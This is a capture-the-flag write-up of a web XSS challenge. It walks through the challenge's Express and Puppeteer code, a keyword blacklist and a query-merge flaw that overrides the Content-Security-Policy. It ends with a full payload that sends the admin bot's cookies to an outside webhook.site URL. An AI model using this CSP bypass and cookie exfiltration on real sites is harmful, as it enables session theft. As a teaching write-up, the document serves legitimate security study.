This Chall is well-known type of XSS Challenge.
./web_extra-safe-security-layers/
βββ docker-compose.yml
βββ Dockerfile
βββ src
βββ app.js
βββ bot.js
βββ flag.txt
βββ package.json
βββ public
β βββ admin_background.png
β βββ background.png
βββ templates
βββ index.ejs
It gives that this chall has 5 safety layer through remark. These remarks confused me, even if this chall was not that hard.
Just Ignore all remarks and analyze code.
// bot.js
import puppeteer from "puppeteer";
import { readFileSync } from "fs";
import { adminCookie } from "./app.js";
const FLAG = readFileSync("./flag.txt", "utf-8").trim();
export const report = async (endpoint) => {
if (!endpoint.startsWith("?text=")) {
throw new Error(
"Invalid endpoint. Make sure to have the 'text' query parameter."
);
}
const browser = await puppeteer.launch({
headless: "new",
args: [
"--disable-gpu",
"--no-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
executablePath: "/usr/bin/chromium-browser",
});
const page = await browser.newPage();
await page.setCookie({
name: "admin",
value: adminCookie,
domain: "localhost",
path: "/",
httpOnly: true,
});
await page.setCookie({
name: "flag",
value: FLAG,
domain: "localhost",
path: "/",
});
await page.goto(`http://localhost:3000/${endpoint}`);
await new Promise((resolve) => setTimeout(resolve, 1000));
await browser.close();
};
This chall has bot and Flag is in bot's cookie. We have to check it out.
import { xss } from "express-xss-sanitizer";
import { report } from "./bot.js";
// Rate limit for report endpoint - 1 request per minute
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 1,
standardHeaders: true,
legacyHeaders: false,
});
const app = express();
export const adminCookie = randomUUID();
app.set("view engine", "ejs");
app.set("views", "templates/");
app.use(express.static("public"));
// Safety layer 1
// "middleware which sanitizes user input data (in req.body, req.query, req.headers and req.params) to prevent Cross Site Scripting (XSS) attack."
// = XSS impossible ;)
app.use(xss());
The service protects XSS attack by using "express-xss-sanitizer", the version of "1.1.6", which has no vulnerable point. So non-existing point to exploit with this library. Just remember that there was no xss point.
const css = "sha256-vLdrwYlWaDndNN9sQ9ZZrxSq93n8/wam7RRrUaZPZuE=";
const commonJs = "sha256-hPqYpiz7JNIo+Pdm+2iyVcEpBmkLbYzZp4wT0VtRo/o=";
const defaultJs = "sha256-PxCHadKfAzMTySbSjFxfuhIk02Azy/H24W0/Yx2wL/8=";
const adminJs = "sha256-5TQWiNNpvAcBZlNow32O2rAcetDLEqM7rl+uvpcnTb8=";
const defaultCSP = `default-src 'none'; img-src 'self'; style-src '${css}'; script-src '${commonJs}' '${defaultJs}'; connect-src 'self';`;
The service defines CSP and the defaultCSP seems to be strict and properly configured. It seems no way to load external scripts because CSP is defined by using SHA256.
I thought this chall is about zero-day of "express-xss-sanitizer" even if there was a big hint at the bottom of the code :( . I spent a lot of time in here.
const blacklist = [
"fetch",
"eval",
"alert",
"prompt",
"confirm",
"XMLHttpRequest",
"request",
"WebSocket",
"EventSource",
];
app.use(cookieParser());
app.use(express.json());
And there is a word filtering.
Let's summarize what we've knowned so far.
- Not allowed XSS attack because of "express-xss-sanitizer"
- It has a strict CSP, so we can't load external script.
Then, what can we do to solve this chall?
[ Point ]
app.use((req, res, next) => {
if (req.query) {
// Saferty layer 2
const s = JSON.stringify(req.query).toLowerCase();
for (const b of blacklist) {
if (s.includes(b.toLowerCase())) {
return res.status(403).send("You are not allowed to do that.");
}
}
// Safety layer 3
for (const c of s) {
if (c.charCodeAt(0) > 127 || c.charCodeAt(0) < 32) {
return res.status(403).send("You are not allowed to do that.");
}
}
}
if (req.cookies?.admin === adminCookie) {
res.user = {
isAdmin: true,
text: "Welcome back :)",
unmodifiable: {
background: "admin_background.png",
CSP: `default-src 'self'; img-src 'self'; style-src '${css}'; script-src '${adminJs}' '${commonJs}';`,
},
};
} else {
// Safety layer 4
res.user = {
text: "Hi! You can modify this text by visiting `?text=Hi`. But I must warn you... you can't have html tags in your text.",
unmodifiable: {
background: "background.png",
},
};
}
if (req.query.text) {
res.user = { ...res.user, ...req.query };
}
// Safety layer 5
res.set("Content-Security-Policy", res.user.unmodifiable.CSP ?? defaultCSP);
next();
});
Check this code. We can see res.set("Content-Security-Policy", res.user.unmodifiable.CSP ?? defaultCSP); . The reason why we can't solve this chall is because of CSP Protection. But We can disrupt CSP by using "res.user" and "req.query".
To be specific, if we define "unmodifiable" value in res.user object, defaultCSP goes useless. We can approach to unmodifiable value like this.
?text=hi&[unmodifiable][CSP]=a
Okay. We disrupt deafultCSP.
// index.ejs
<html>
<head>
<title>MLSA</title>
<style>
.background {
object-fit: cover;
width: 100%;
height: 100%;
}
.userBox {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: #fff;
padding: 20px;
border-radius: 50px;
box-shadow: 0 0 10px 0 rgba(0, 0, 0, 0.2);
}
</style>
</head>
<body id="main">
<div class="userBox"><%= text ?? '<h1>This shouldn\'t be here...</h1>' %></div>
<button id="report-button">report as unappropriate</button>
</body>
<script>
// load background...
main.innerHTML += `
<img class='background' src='<%- unmodifiable?.background %>'>
`;
console.log('Loaded!');
</script>
You can see script tag is executed in index.ejs. By using "unmodifiable.background" value, we can execute code.
.As we saw that we modified value of "unmodifiable.CSP" in res.user, we can also modify "background" in same way. What we want is to know flag which is in admin bot's cookie, trigger script thorugh index.ejs
text=hi&[unmodifiable][CSP]=a&[unmodifiable][background]=https://webhook.site/47414a94-b1ef-480d-b5a3-1ec387bec09e?c=${document.cookie}
Flag
μΆκ° μ 보 :
- Three dots meaning in Node.js :
https://oprearocks.medium.com/what-do-the-three-dots-mean-in-javascript-bc5749439c9a